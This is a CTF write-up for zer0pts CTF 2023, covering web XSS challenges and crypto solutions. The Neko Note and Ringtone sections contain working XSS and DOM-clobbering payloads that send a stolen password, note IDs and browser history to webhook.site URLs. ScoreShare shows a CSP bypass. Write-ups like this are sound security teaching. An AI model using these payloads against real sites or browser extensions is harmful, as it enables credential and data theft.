zer0pts CTF 2023 Writeups
This year, I participated in zer0pts CTF with Balsn and solved some Web and Crypto challenges.
Web
Neko Note
The key part of the code is in this segment:
var linkPattern = regexp.MustCompile(`\[([0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[0-9a-f]{4}-[0-9a-f]{12})\]`)
// replace [(note ID)] to links
func replaceLinks(note string) string {
return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
id := strings.Trim(s, "[]")
note, ok := notes[id]
if !ok {
return s
}
title := html.EscapeString(note.Title)
return fmt.Sprintf(
"<a href=/note/%s title=%s>%s</a>", id, title, title,
)
})
}
// escape note to prevent XSS first, then replace newlines to <br> and render links
func renderNote(note string) string {
note = html.EscapeString(note)
note = strings.ReplaceAll(note, "\n", "<br>")
note = replaceLinks(note)
return note
}
Here, note
is controllable, and its content will be inserted into the frontend using innerHTML
, so we need to find a way to perform XSS. The key here is that html.EscapeString
only escapes five characters <
>
&
'
"
, and the place where it inserts the a
tag is not quoted, so we can inject any attribute into the a
tag.
Referring to the XSS cheatsheet, we can see that there are many attributes that can be used, but only a few do not require user interaction. One of them is
<a id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></a>
However, the frontend part requires the bot to click a button before the innerHTML
assignment is triggered, so this cannot be triggered. But later, I found that using events like onmouseover
or onpointerover
works because await page.click('button');
seems to directly grab the element’s x, y coordinates, and after clicking, it doesn’t move (at least that’s how playwright works). Therefore, as long as the a
element is large enough and overlaps with the button, it can be triggered. Thus, x onmouseover=alert(origin)
can achieve XSS.
Although this allows us to obtain the flag note’s id, we still don’t have the password. This part requires looking at the bot’s code:
// post a note that has the flag
await page.goto(`${BASE_URL}/`);
await page.type('#title', 'Flag');
await page.type('#body', `The flag is: ${FLAG}`);
const password = crypto.randomBytes(64).toString('base64');
await page.type('#password', password);
await page.click('#submit');
// let's check the reported note
await page.goto(`${BASE_URL}/note/${id}`);
if (await page.$('input') != null) {
// the note is locked, so use master key to unlock
await page.type('input', MASTER_KEY);
await page.click('button');
// just in case there is a vuln like XSS, delete the password to prevent it from being stolen
const len = (await page.$eval('input', el => el.value)).length;
await page.focus('input');
for (let i = 0; i < len; i++) {
await page.keyboard.press('Backspace');
}
}
// it's ready now. click "Show the note" button
await page.click('button');
// done!
await wait(1000);
In short, the bot will use the master key to unlock the note if it detects that the note is locked, and then delete the password. Our XSS will be triggered after the last await page.click('button');
, so by then, the master key has already been deleted.
The trick here is to use document.execCommand('undo')
to restore the password, and then retrieve the password from the DOM.
Complete payload:
xxxxxxxxxxxxxxxxxxxx onmouseover=document.execCommand(`undo`);pwd=document.querySelector(`input`).value;id=JSON.parse(localStorage.getItem(`neko-note-history`))[0].id;location=`https://webhook.site/9a5f00d1-194c-46af-b09a-b488a79d2787?id=`+id+`&pwd=`+pwd
Flag: zer0pts{neko_no_te_mo_karitai_m8jYx9WiTDY}
ScoreShare
This challenge seems to be about DOM clobbering, but there is a significant unintended solution XDDD. The key part is here:
@app.route("/api/score/<sid>")
def api_score(sid: str):
abc = db().hget(sid, 'abc')
if abc is None:
return flask.abort(404)
else:
return flask.Response(abc)
Here, the content of abc
is fully controllable, and the website has a CSP script-src 'self'
. So, we can first create a score with content like fetch(...)
in JS, and then create another score that includes the HTML <script src=/api/score/...></script>
to bypass CSP and directly achieve XSS.
Flag: zer0pts{<iframe>_1s_a_s7r0ng_t00l_f0r_D0M_cl0bb3r1ng}
Ringtone
There is a website that does almost nothing except for a static page and a hidden flag route. The main part is in the Chrome extension.
It has a content script:
var form=document.getElementById("ring-form");
form.addEventListener("submit",
async (evt)=>{
evt.preventDefault();
var val=form.elements["message"].value;
console.log(val)
const response = await chrome.runtime.sendMessage({play:"play"})
if(response.text=="played successfully"){
console.log("yattaa")
}
}
)
chrome.runtime.onMessage.addListener(function (msg, sender, sendResponse) {
if (msg.text === 'report_back') {
console.log("msg received")
if(users.privileged.dataset.admin){
sendResponse(users.privileged.dataset.admin)
}
}
});
And the Chrome extension itself has an index.html
that includes this JS:
function evalCode(code) {
const script = document.createElement('script');
script.src = '/?code=' +code;
document.documentElement.appendChild(script);
}
chrome.tabs.onUpdated.addListener(function (tabId,tab) {
console.log(tabId)
chrome.tabs.sendMessage(tabId, {text: 'report_back'}).then((resp)=>{
evalCode(resp)
})
});
The /?code=
part is handled by the background script, which basically just echoes:
const prefix = location.origin + '/?code=';
self.onfetch= e => {
if (e.clientId && e.request.url.startsWith(prefix)) {
e.respondWith(new Response(e.request.url.slice(prefix.length), {
headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8' },
}));
}
};
The bot initially opens four pages, including the website homepage, the extension’s index.html
, the flag page, and the URL you submit. The chrome.tabs.onUpdated
event is triggered when a new tab is opened, so in this scenario, it is automatically triggered. Therefore, it will make the content script try to read users.privileged.dataset.admin
and send it back to the index.html
page for evaluation.
At the same time, the static page also has document.getElementById("msg").innerHTML=DOMPurify.sanitize(inp,options)
, so we can use DOM clobbering to change the value of users.privileged.dataset.admin
:
<div id="users"></div>
<div id="privileged" data-admin="alert(1)"></div>
Now, we have arbitrary code execution in the Chrome extension environment, and the manifest has "permissions":["history","activeTab","tabs"]
, so we can directly read the history to find the URL of the flag page.
The specific JS to execute cannot have spaces, so it becomes like this:
chrome.history.search({text:``},function(hist){u=`https://webhook.site/f71604a4-fc9b-4c99-9e0f-366529a29ac7`;navigator.sendBeacon(u,JSON.stringify(hist,null,2));for(let{url}of[hist][0]){fetch(url).then(function(r){return[r.text()][0]}).then(function(t){navigator.sendBeacon(u,t)})}})
Putting it all together:
http://ringtone.2023.zer0pts.com:8505/?message=%3Cdiv%20id=users%3Ea%3C/div%3E%3Cdiv%20id=users%20name=privileged%20data-admin=%22chrome.history.search({text:``},function(hist){u=`https://webhook.site/f71604a4-fc9b-4c99-9e0f-366529a29ac7`;navigator.sendBeacon(u,JSON.stringify(hist,null,2));for(let{url}of[hist][0]){fetch(url).then(function(r){return[r.text()][0]}).then(function(t){navigator.sendBeacon(u,t)})}})%22%3Ea%3C/div%3E
Flag: zer0pts{extensions_are_really_muzukashi}
Crypto
*easy_factoring
Solved by a teammate, later I did it myself
Given , find the two prime numbers and , both approximately 128 bits.
The key is to notice that , so after factoring in the Gaussian integers, we can find all the divisors in the form of , thus solving it.
p = random_prime(1 << 128)
q = random_prime(1 << 128)
n = p * q
N = pow(p, 2) + pow(q, 2)
zn = ZZ[i](N)
for d in divisors(ZZ[i](N)):
pp, qq = map(int, d)
if is_prime(pp) and is_prime(qq):
print("yes", pp, qq)
moduhash
import os
flag = os.environb.get(b"FLAG", b"dummmmy{test_test_test}")
def S(z):
return -1/z
def T(z):
return z + 1
def gen_random_hash(n):
r = bytes([getrandbits(8) for _ in range(0, n)])
return r
def to_hash(st):
res = ""
for s in st:
sts = bin(s)[2:].zfill(8)
for x in sts:
if x == "0":
res += "S"
else:
res += "T"
return res
def hash(z, h):
res = z
for s in h:
if s == "S":
res = S(res)
elif s == "T":
res = T(res)
else:
exit()
return res
def hash_eq(h1, h2, CC):
for _ in range(100):
zr = CC.random_element()
h1zr = hash(zr, h1)
h2zr = hash(zr, h2)
if abs(h1zr - h2zr) > 1e-15:
return False
return True
CC = ComplexField(256)
for _ in range(100):
n = randint(32, 64)
h1 = to_hash(gen_random_hash(n))
zi = CC.random_element()
print(f"zi : {zi}")
print(f"h1(zi): {hash(zi, h1)}")
h2 = input("your hash> ")
if not hash_eq(h1, h2, CC):
print("your hash is incorrect")
exit()
print(flag)
This challenge generates a string composed of S
and T
, and the hash
function takes that string and a complex number , then repeatedly applies the S
and T
functions to according to the string and returns the result. Here, .
The goal is to find another string that, when applied to any complex number using the hash
function, produces the same result as the given input and output.
After some research, I found that this is related to the Modular group, which is a group formed by combinations of
where , and it can also be written in matrix form:
In its Group-theoretic properties, we can see the above two transforms, and it states that the entire modular group can be generated by these two. The operations between zi
and h1(zi)
are a series of , so can be expressed in a function of this form:
Thus, , and using LLL, we can find sufficiently small . Now the problem is how to decompose
into a product of many , where
I referred to Decomposition of modular group elements to write an algorithm, but encountered a small problem where is not necessarily positive, but the string representation requires it to be positive, so I had to make some modifications.
from pwn import process, remote, context
CC = ComplexField(256)
def find(z, zz):
# (az+b)/(cz+d)=zz
# az+b=zz(cz+d)=c*z*zz+d*zz
zzz = z * zz
L = matrix(
QQ,
[
[z.real(), z.imag(), 1, 0, 0, 0],
[1, 0, 0, 1, 0, 0],
[-zzz.real(), -zzz.imag(), 0, 0, 1, 0],
[-zz.real(), -zz.imag(), 0, 0, 0, 1],
],
)
L[:, :2] *= 2**256
L = L.LLL()
return L[0][2:]
def positive_mod(x, y):
r = x % y
if r < 0:
r -= y
return r
def decompose(a, b, c, d):
M = matrix(ZZ, [[a, b], [c, d]])
S = matrix(ZZ, [[0, -1], [1, 0]])
T = matrix(ZZ, [[1, 1], [0, 1]])
M0 = M
res = []
res_s = ""
for _ in range(200):
# print(M)
if M[0, 0] == 0 or M[1, 0] == 0:
break
while abs(M[1, 0]) > abs(M[0, 0]):
M = ~S * M
res.append(S)
res_s += "S"
while sign(M[0, 0]) != sign(M[1, 0]):
M = ~S * M
res.append(S)
res_s += "S"
a = M[0, 0]
c = M[1, 0]
r = positive_mod(a, c)
q = (a - r) // c
# print(a, c)
# print(r, q)
# print()
M = T ^ (-q) * M
res.append(T ^ q)
assert q >= 0, ":("
res_s += "T" * int(q)
assert prod(res) * M == M0
return res, res_s[::-1]
# io = process(["sage", "server.sage"])
io = remote("crypto.2023.zer0pts.com", int(10444))
for i in range(100):
io.recvuntil(b"zi\t: ")
zi = CC(io.recvlineS().strip())
io.recvuntil(b"h1(zi): ")
h1zi = CC(io.recvlineS().strip())
print(i, zi, h1zi)
a, b, c, d = find(zi, h1zi)
_, h2 = decompose(a, b, c, d)
print(h2)
io.sendlineafter(b"your hash> ", h2)
io.interactive()
# zer0pts{Th3_m0dul4r_gr0up_1s_g3n3r4t3d_by_4cti0ns_S_T}